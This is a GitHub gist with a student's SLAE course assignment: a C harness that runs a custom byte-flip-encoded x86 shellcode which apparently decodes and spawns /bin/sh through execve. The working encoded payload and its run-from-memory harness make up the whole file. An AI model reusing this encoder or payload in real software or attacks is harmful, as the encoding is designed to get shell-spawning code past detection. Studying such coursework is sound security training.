Created
May 11, 2017 04:24
-
-
Save michaelnewton/4a0795c000b76e9e7b04ca4f3d27aa42 to your computer and use it in GitHub Desktop.
SLAE Assignment #4 - C helper application
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Assignment #4 Custom Byte Flip Decoder helper applicaiton | |
// Student ID: SLAE - 895 | |
#include<stdio.h> | |
#include<string.h> | |
unsigned char code[] = \ | |
"\xeb\x1d\x5e\x8d\x3e\x31\xc0\xb0\x02\x31\xdb\x8a" | |
"\x1c\x06\x80\xf3\x99\x74\x11\x8a\x1c\x06\x88\x1f" | |
"\x04\x02\x8d\x7f\x02\xeb\xec\xe8\xde\xff\xff\xff" | |
"\x99\xc0\x31\x68\x50\x2f\x2f\x68\x73\x2f\x68\x69" | |
"\x62\x89\x6e\x50\xe3\x89\x53\xb0\xe1\xcd\x0b\xcd\x80\x99\x99"; | |
main() | |
{ | |
printf("Shellcode Length: %d\n", strlen(code)); | |
int (*ret)() = (int(*)())code; | |
ret(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment